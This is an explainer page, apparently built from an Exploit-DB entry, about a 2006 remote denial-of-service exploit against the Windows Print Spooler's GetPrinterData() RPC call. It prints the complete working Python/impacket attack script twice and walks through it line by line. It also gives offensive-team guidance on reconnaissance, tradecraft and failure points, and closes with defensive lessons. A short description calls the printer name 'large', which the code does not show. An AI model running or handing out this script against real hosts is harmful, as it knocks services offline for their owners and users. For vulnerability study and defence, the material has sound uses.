Microsoft Windows spoolss GetPrinterData() Remote Denial of Service Exploit Explained

Microsoft Windows spoolss GetPrinterData() Remote Denial of Service Exploit Explained
What this paper is
This paper details a vulnerability in the Microsoft Windows Print Spooler service (spoolsv.exe) that allows an attacker to cause a remote denial of service (DoS). The vulnerability lies within the GetPrinterData() function, which, when called with a specially crafted large memory allocation request, can exhaust the available memory on the target system, leading to a crash or unresponsiveness of the Print Spooler service and potentially the entire operating system.
Simple technical breakdown
The exploit targets the spoolss (Spooler Service) RPC (Remote Procedure Call) interface. It works by:
- Establishing a connection: The script connects to the target machine's SMB (Server Message Block) port (TCP 445) to access the named pipe
\pipe\spoolss. - Calling
OpenPrinterEx(): This function is used to obtain a handle to a printer. The exploit sends a malformed request that includes a large, but seemingly valid, printer name. This initial call is designed to set up the context for the subsequent DoS attack. - Calling
GetPrinterData(): This is the core of the exploit. The script callsGetPrinterData()with a handle obtained fromOpenPrinterEx(). Crucially, it requests an excessively large amount of memory (specified by the user in megabytes) for a printer data value. - Memory Exhaustion: The vulnerable
GetPrinterData()function attempts to allocate the requested large chunk of memory. If the requested size exceeds available resources or triggers a bug in the allocation logic, it can lead to memory exhaustion, causing the Print Spooler service to crash or become unresponsive.
Complete code and payload walkthrough
The provided Python script uses the impacket library to interact with Windows RPC services. Let's break down the code and its components.
#!/usr/bin/python
# MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins
# Example:
#
# C:\>python spoolss_dos.py 192.168.0.2 512
#
# [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# [*] Coded by h07 <h07@interia.pl>
# [*] Connecting to 192.168.0.2:445
# [+] Connected
# [+] The NETBIOS connection with the remote host timed out.
# [+] 192.168.0.2: Out of memory
# [+] Done
#
# Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows
# Spooler service(spoolsv.exe) memory usage: 512 MB
##
from impacket.structure import Structure
from impacket.nmb import NetBIOSTimeout
from impacket.dcerpc import transport
from impacket import uuid
from struct import pack
from string import atoi
from sys import argv
from sys import exit
# --- Initial Setup and Argument Parsing ---
print "\n[*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit"
print "[*] Coded by h07 <h07@interia.pl>"
if(len(argv) < 3):
print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
exit()
MB = 1024 * 1024
host = argv[1]
memory_size = MB * atoi(argv[2]) # Calculate the total memory size in bytes
interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0') # Define the RPC interface UUID and version
stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" # Format string for the RPC binding
stringbinding %= {
'host': host,
'pipe': interface[0], # Use the pipe name from the interface tuple
}
# --- Data Structure Definitions ---
# B1 Structure: Used for printer name and client/user strings in OpenPrinterEx
class B1(Structure):
alignment = 4
structure = (
('id', '<L'), # A long integer, likely a placeholder or identifier
('max', '<L'), # Maximum size of the string buffer
('offset', '<L=0'), # Offset within the buffer (defaults to 0)
('actual', '<L'), # Actual size of the string data
('str', '%s'), # Placeholder for the string data itself
)
# B2 Structure: Used for other string data, like printer data in GetPrinterData
class B2(Structure):
alignment = 4
structure = (
('max', '<L'), # Maximum size of the string buffer
('offset', '<L=0'), # Offset within the buffer (defaults to 0)
('actual', '<L'), # Actual size of the string data
('str', '%s'), # Placeholder for the string data itself
)
# OpenPrinterEx Structure: Represents the RPC call to OpenPrinterEx
class OpenPrinterEx(Structure):
alignment = 4
opnum = 69 # Operation number for OpenPrinterEx in spoolss
structure = (
('printer', ':', B1), # The printer name structure
('null', '<L=0'), # Null terminator or padding
('str', '<L=0'), # Another null or padding
('null2', '<L=0'), # More padding
('access', '<L=0'), # Desired access rights (0 means default)
('level', '<L=1'), # Level of printer information requested (1 is common)
('id1', '<L=1'), # Identifier 1
('level2', '<L=10941724'), # A specific level value, potentially related to client info
('size', '<L=28'), # Size of some associated data structure
('id2', '<L=0x42424242'), # Identifier 2
('id3', '<L=0x43434343'), # Identifier 3
('build', '<L=2600'), # Windows build number (e.g., XP RTM)
('major', '<L=3'), # Major version number
('minor', '<L=0'), # Minor version number
('processor', '<L=0xFFFFFFFF'), # Processor type (all bits set, likely generic)
('client', ':', B2), # Client information structure
('user', ':', B2), # User information structure
)
# GetPrinterData Structure: Represents the RPC call to GetPrinterData
class GetPrinterData(Structure):
alignment = 4
opnum = 26 # Operation number for GetPrinterData in spoolss
structure = (
('handle', '%s'), # The printer handle obtained from OpenPrinterEx
('value', ':', B2), # Structure for the printer data value name
('offered', '<L'), # The requested size of the data to be returned (the DoS trigger)
)
# --- RPC Connection and Call Execution ---
trans = transport.DCERPCTransportFactory(stringbinding) # Create a DCERPC transport factory
print "[*] Connecting to %s:445" % (host)
try:
trans.connect() # Attempt to establish a connection to the target
except:
print "[-] Connect failed"
exit()
print "[+] Connected"
dce = trans.DCERPC_class(trans) # Create a DCERPC client object
dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2]))) # Bind to the spoolss RPC interface
# --- First RPC Call: OpenPrinterEx ---
query = OpenPrinterEx()
printer = "\\\\%s\x00" % (host) # Construct the printer name (e.g., \\TARGET_IP\0)
query['printer'] = B1()
query['printer']['id'] = 0x41414141 # Arbitrary ID
query['printer']['max'] = len(printer)
query['printer']['actual'] = len(printer)
query['printer']['str'] = printer.encode('utf_16_le') # Encode printer name in UTF-16 Little Endian
client = "\\\\h07\x00" # Client name string
query['client'] = B2()
query['client']['max'] = len(client)
query['client']['actual'] = len(client)
query['client']['str'] = client.encode('utf_16_le')
user = "h07\x00" # User name string
query['user'] = B2()
query['user']['max'] = len(user)
query['user']['actual'] = len(user)
query['user']['str'] = user.encode('utf_16_le')
dce.call(query.opnum, query) # Send the OpenPrinterEx RPC call
raw = dce.recv() # Receive the response
handle = raw[:20] # The first 20 bytes of the response are expected to be the printer handle
if(handle == ("\x00" * 20)): # Check if the handle is all null bytes, indicating an error
print "[-] ERR: OpenPrinterEx()"
if(raw[20:] == "\x09\x07\x00\x00"):
print "[-] Return code: Invalid printer name (0x00000709)"
if(raw[20:] == "\x05\x00\x00\x00"):
print "[-] Return code: Access denied (0x00000005)"
exit()
# --- Second RPC Call: GetPrinterData (The DoS Trigger) ---
query = GetPrinterData()
value = "blah_blah\x00" # A dummy name for the printer data value
query['handle'] = handle # Use the handle obtained from OpenPrinterEx
query['value'] = B2()
query['value']['max'] = len(value)
query['value']['actual'] = len(value)
query['value']['str'] = value.encode('utf_16_le')
query['offered'] = memory_size # This is the crucial part: the requested memory size
dce.call(query.opnum, query) # Send the GetPrinterData RPC call
try:
raw = dce.recv() # Receive the response
status = raw[:4] # First 4 bytes of the response
r_size = raw[4:8] # Next 4 bytes, potentially indicating the actual size returned
if(status == "\x1b\x00\x00\x1c"): # Specific status code indicating a memory allocation error
print "[-] Memory allocation error, out of memory"
exit()
if(r_size == pack("<L", memory_size)): # Check if the returned size matches the requested size
print "[+] Memory allocated" # This might indicate success or a partial allocation before failure
except NetBIOSTimeout, err: # Catch NetBIOS timeout exceptions, often indicative of a crash
print "[+] %s" % (err)
print "[+] %s: Out of memory" % (host) # Assume out of memory if a timeout occurs
print "[+] Done"
# EoF
# milw0rm.com [2006-12-01]
Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/python: Shebang line, indicates the script should be executed with the Python interpreter.from impacket... import ...: Imports necessary modules from theimpacketlibrary for network communication, RPC, and data structures.print "\n[*] MS Windows GetPrinterData() ...": Prints informational messages about the script's purpose and author.if(len(argv) < 3): ... exit(): Checks if the correct number of command-line arguments (host and memory size) are provided. If not, it prints usage instructions and exits.MB = 1024 * 1024: Defines a constant for one megabyte in bytes.host = argv[1]: Assigns the first command-line argument (target IP address) to thehostvariable.memory_size = MB * atoi(argv[2]): Converts the second command-line argument (memory size in MB) to an integer and multiplies byMBto get the total requested memory in bytes.interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0'): Defines the target RPC interface:spoolssservice, its UUID, and version.stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]": Defines the network string binding format for connecting to thespoolssnamed pipe over NetBIOS.class B1(Structure): ...: Defines a generic structureB1used for string data, with fields for ID, max length, offset, actual length, and the string data itself.class B2(Structure): ...: Defines a generic structureB2similar toB1, also for string data.class OpenPrinterEx(Structure): ...: Defines the structure for theOpenPrinterExRPC call.opnum = 69: The specific operation number forOpenPrinterExin thespoolssinterface.printer = ':', B1): Specifies that theprinterfield is a structure of typeB1.access = '<L=0',level = '<L=1', etc.: Defines various fields with default values, representing parameters for theOpenPrinterExcall.client = ':', B2): Specifies theclientfield is aB2structure.user = ':', B2): Specifies theuserfield is aB2structure.
class GetPrinterData(Structure): ...: Defines the structure for theGetPrinterDataRPC call.opnum = 26: The specific operation number forGetPrinterData.handle = '%s': Placeholder for the printer handle.value = ':', B2): Specifies thevaluefield is aB2structure, representing the name of the printer data to retrieve.offered = '<L': This is the critical field, representing the offered size of the data to be returned. This is where the large memory request is made.
trans = transport.DCERPCTransportFactory(stringbinding): Initializes the RPC transport mechanism using the constructed string binding.trans.connect(): Attempts to establish a network connection to the target host on port 445.dce = trans.DCERPC_class(trans): Creates a DCERPC client object to manage RPC calls.dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2]))): Binds the DCERPC client to the specifiedspoolssinterface UUID and version.query = OpenPrinterEx(): Creates an instance of theOpenPrinterExstructure.printer = "\\\\%s\x00" % (host): Constructs the printer name string, e.g.,\\192.168.1.100\0.query['printer'] = B1(): Initializes theprinterfield as aB1structure.query['printer']['str'] = printer.encode('utf_16_le'): Encodes the printer name into UTF-16 Little Endian, as required by the RPC protocol.client = "\\\\h07\x00"anduser = "h07\x00": Defines arbitrary client and user strings.query['client'] = B2()andquery['user'] = B2(): Initializes the client and user fields asB2structures.query['client']['str'] = client.encode('utf_16_le')andquery['user']['str'] = user.encode('utf_16_le'): Encodes the client and user strings.dce.call(query.opnum, query): Sends theOpenPrinterExRPC call to the server.raw = dce.recv(): Receives the raw response from the server.handle = raw[:20]: Extracts the first 20 bytes, which are expected to contain the printer handle returned byOpenPrinterEx.if(handle == ("\x00" * 20)): ... exit(): Checks if the returned handle is all zeros, indicating an error duringOpenPrinterEx. It also checks for specific error codes.query = GetPrinterData(): Creates an instance of theGetPrinterDatastructure.value = "blah_blah\x00": Defines a dummy string for the printer data value name.query['handle'] = handle: Assigns the obtained printer handle.query['value'] = B2(): Initializes thevaluefield as aB2structure.query['value']['str'] = value.encode('utf_16_le'): Encodes the dummy value string.query['offered'] = memory_size: This is the core of the exploit. It sets theofferedfield to the largememory_sizerequested by the user.dce.call(query.opnum, query): Sends theGetPrinterDataRPC call to the server.try: raw = dce.recv() ... except NetBIOSTimeout, err: ...: This block handles the response fromGetPrinterData.status = raw[:4]andr_size = raw[4:8]: Extracts status and size information from the response.if(status == "\x1b\x00\x00\x1c"): ... exit(): Checks for a specific status code that indicates a memory allocation error.if(r_size == pack("<L", memory_size)): ...: Checks if the returned size matches the requested size. This might indicate a successful (but problematic) allocation.except NetBIOSTimeout, err:: CatchesNetBIOSTimeoutexceptions. These often occur when the remote service becomes unresponsive or crashes, causing the connection to drop or time out. The script interprets this as a successful DoS.
print "[+] Done": Indicates the script has finished its execution.
Shellcode/Payload Segments:
There is no explicit shellcode or payload in the traditional sense (e.g., code to be executed on the target). The "payload" here is the crafted RPC request itself, specifically the GetPrinterData call with an excessively large offered value. The effect of this payload is memory exhaustion on the target system.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host on TCP port 445 (SMB). No elevated privileges are required on the target machine itself, as this is a remote vulnerability exploitable over the network.
- Lab Preconditions:
- A target Windows machine with the Print Spooler service running. Older Windows versions (e.g., Windows 2000, XP, Server 2003) are more likely to be vulnerable.
- Network connectivity between the attacker's machine and the target on TCP port 445.
- Firewalls must allow SMB traffic (TCP 445) to the target.
- Tooling Assumptions:
- Python interpreter.
impacketlibrary installed (pip install impacket).- A network scanner (like Nmap) to identify hosts with port 445 open and potentially the Windows version.
- Execution Pitfalls:
- Network Latency/Packet Loss: Unreliable network connections can lead to incomplete RPC requests or responses, causing the exploit to fail or misinterpret results.
- Firewall Blocking: Port 445 might be blocked by network firewalls.
- Service Not Running: The Print Spooler service (
spoolsv.exe) must be running on the target. - Patching: Modern Windows operating systems are likely patched against this specific vulnerability. The exploit is primarily effective against older, unpatched systems.
- Incorrect Memory Size: Requesting an astronomically large memory size might cause the RPC communication itself to fail before the spooler service can even attempt the allocation, or it might lead to a different error than expected. The
memory_sizeparameter needs to be large enough to trigger the vulnerability but not so large that it breaks the RPC protocol. - False Positives: A
NetBIOSTimeoutcould be caused by general network issues, not necessarily a successful DoS. Careful observation of the target system's state is needed.
- Tradecraft Considerations:
- Reconnaissance: Identify target systems and confirm they are running vulnerable Windows versions. Check for open port 445.
- Stealth: While the exploit itself is noisy (it causes a DoS), the initial connection and reconnaissance phases can be performed stealthily.
- Impact Assessment: Understand that this is a DoS attack and will disrupt legitimate services. Ensure authorization is in place.
- Post-Exploitation: If the goal is not just DoS, this exploit is a precursor to other actions if the system remains accessible after the spooler service is restarted or if other services are unaffected. However, the primary impact is service disruption.
- Likely Failure Points:
- Target system is patched.
- Firewall blocks SMB traffic.
- Print Spooler service is not running or is disabled.
- Network instability.
- Incorrectly formatted RPC requests due to library issues or network corruption.
- The
OpenPrinterExcall fails due to invalid parameters or access restrictions.
Where this was used and when
- Discovery: The bug was discovered by "h07" and published on December 1, 2006.
- Context: This exploit targets a vulnerability in the
spoolssRPC interface of Microsoft Windows. Such vulnerabilities were common in the early to mid-2000s before more robust security practices and patching became widespread. - Usage: This type of exploit would have been used in penetration testing engagements and potentially by malicious actors against unpatched systems during that era. Its primary purpose is denial of service, making systems unavailable. It's unlikely to have been used for persistent access or data exfiltration directly.
- Affected Systems: The paper explicitly mentions testing on "Windows 2000 SP4 Polish + All Microsoft Security Bulletins," suggesting that even patched versions of Windows 2000 might have been vulnerable, or that the patch was not universally applied. It's highly probable that other Windows versions of that era (e.g., Windows XP, Windows Server 2003) were also vulnerable.
Defensive lessons for modern teams
- Patch Management: The most critical defense is timely and comprehensive patching of all operating systems and services. This vulnerability is likely addressed by security bulletins released by Microsoft years ago.
- Network Segmentation and Firewalls: Restrict SMB traffic (TCP 445) to only necessary internal segments and trusted hosts. Exposing SMB directly to the internet is a significant security risk.
- Service Hardening: Disable or restrict unnecessary services, including the Print Spooler service if it's not actively used. If it must be used, ensure it's running on hardened systems.
- Intrusion Detection/Prevention Systems (IDS/IPS): Implement network security monitoring that can detect anomalous RPC traffic patterns or SMB communication. Signatures for known RPC exploits can help.
- Endpoint Detection and Response (EDR): EDR solutions can monitor process behavior, memory allocation patterns, and service crashes on endpoints, potentially detecting or alerting on DoS attempts.
- Vulnerability Scanning: Regularly scan your network for unpatched systems and vulnerable services.
- Principle of Least Privilege: While not directly applicable to exploiting this remote vulnerability, ensuring services run with minimal privileges on the host reduces the impact if other vulnerabilities are chained.
ASCII visual (if applicable)
This exploit involves a client-server RPC interaction. A simple visual representation of the flow:
+-----------------+ +---------------------+
| Attacker Client | ----> | Target Windows Host |
| (Python Script) | | (Print Spooler) |
+-----------------+ +---------------------+
| ^
| 1. Connect (SMB/445) |
| (Named Pipe: spoolss) |
| |
| 2. RPC Call: |
| OpenPrinterEx() |
| |
| 3. RPC Call: |
| GetPrinterData() |
| (Large Memory Req.) |
| |
| <-----------------------| 4. Response (or crash/timeout)
| |
| | 5. Spooler Service Crash/Hang
| | (Memory Exhaustion)
+-------------------------+Source references
- Paper ID: 2879
- Paper Title: Microsoft Windows - spoolss GetPrinterData() Remote Denial of Service
- Author: h07
- Published: 2006-12-01
- Keywords: Windows, dos
- Paper URL: https://www.exploit-db.com/papers/2879
- Raw Exploit URL: https://www.exploit-db.com/raw/2879
Original Exploit-DB Content (Verbatim)
#!/usr/bin/python
# MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins
# Example:
#
# C:\>python spoolss_dos.py 192.168.0.2 512
#
# [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# [*] Coded by h07 <h07@interia.pl>
# [*] Connecting to 192.168.0.2:445
# [+] Connected
# [+] The NETBIOS connection with the remote host timed out.
# [+] 192.168.0.2: Out of memory
# [+] Done
#
# Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows
# Spooler service(spoolsv.exe) memory usage: 512 MB
##
from impacket.structure import Structure
from impacket.nmb import NetBIOSTimeout
from impacket.dcerpc import transport
from impacket import uuid
from struct import pack
from string import atoi
from sys import argv
from sys import exit
print "\n[*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit"
print "[*] Coded by h07 <h07@interia.pl>"
if(len(argv) < 3):
print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
exit()
MB = 1024 * 1024
host = argv[1]
memory_size = MB * atoi(argv[2])
interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0')
stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
'host': host,
'pipe': interface[0],
}
class B1(Structure):
alignment = 4
structure = (
('id', '<L'),
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
class B2(Structure):
alignment = 4
structure = (
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
class OpenPrinterEx(Structure):
alignment = 4
opnum = 69
structure = (
('printer', ':', B1),
('null', '<L=0'),
('str', '<L=0'),
('null2', '<L=0'),
('access', '<L=0'),
('level', '<L=1'),
('id1', '<L=1'),
('level2', '<L=10941724'),
('size', '<L=28'),
('id2', '<L=0x42424242'),
('id3', '<L=0x43434343'),
('build', '<L=2600'),
('major', '<L=3'),
('minor', '<L=0'),
('processor', '<L=0xFFFFFFFF'),
('client', ':', B2),
('user', ':', B2),
)
class GetPrinterData(Structure):
alignment = 4
opnum = 26
structure = (
('handle', '%s'),
('value', ':', B2),
('offered', '<L'),
)
trans = transport.DCERPCTransportFactory(stringbinding)
print "[*] Connecting to %s:445" % (host)
try:
trans.connect()
except:
print "[-] Connect failed"
exit()
print "[+] Connected"
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
query = OpenPrinterEx()
printer = "\\\\%s\x00" % (host)
query['printer'] = B1()
query['printer']['id'] = 0x41414141
query['printer']['max'] = len(printer)
query['printer']['actual'] = len(printer)
query['printer']['str'] = printer.encode('utf_16_le')
client = "\\\\h07\x00"
query['client'] = B2()
query['client']['max'] = len(client)
query['client']['actual'] = len(client)
query['client']['str'] = client.encode('utf_16_le')
user = "h07\x00"
query['user'] = B2()
query['user']['max'] = len(user)
query['user']['actual'] = len(user)
query['user']['str'] = user.encode('utf_16_le')
dce.call(query.opnum, query)
raw = dce.recv()
handle = raw[:20]
if(handle == ("\x00" * 20)):
print "[-] ERR: OpenPrinterEx()"
if(raw[20:] == "\x09\x07\x00\x00"):
print "[-] Return code: Invalid printer name (0x00000709)"
if(raw[20:] == "\x05\x00\x00\x00"):
print "[-] Return code: Access denied (0x00000005)"
exit()
query = GetPrinterData()
value = "blah_blah\x00"
query['handle'] = handle
query['value'] = B2()
query['value']['max'] = len(value)
query['value']['actual'] = len(value)
query['value']['str'] = value.encode('utf_16_le')
query['offered'] = memory_size
dce.call(query.opnum, query)
try:
raw = dce.recv()
status = raw[:4]
r_size = raw[4:8]
if(status == "\x1b\x00\x00\x1c"):
print "[-] Memory allocation error, out of memory"
exit()
if(r_size == pack("<L", memory_size)):
print "[+] Memory allocated"
except NetBIOSTimeout, err:
print "[+] %s" % (err)
print "[+] %s: Out of memory" % (host)
print "[+] Done"
# EoF
# milw0rm.com [2006-12-01]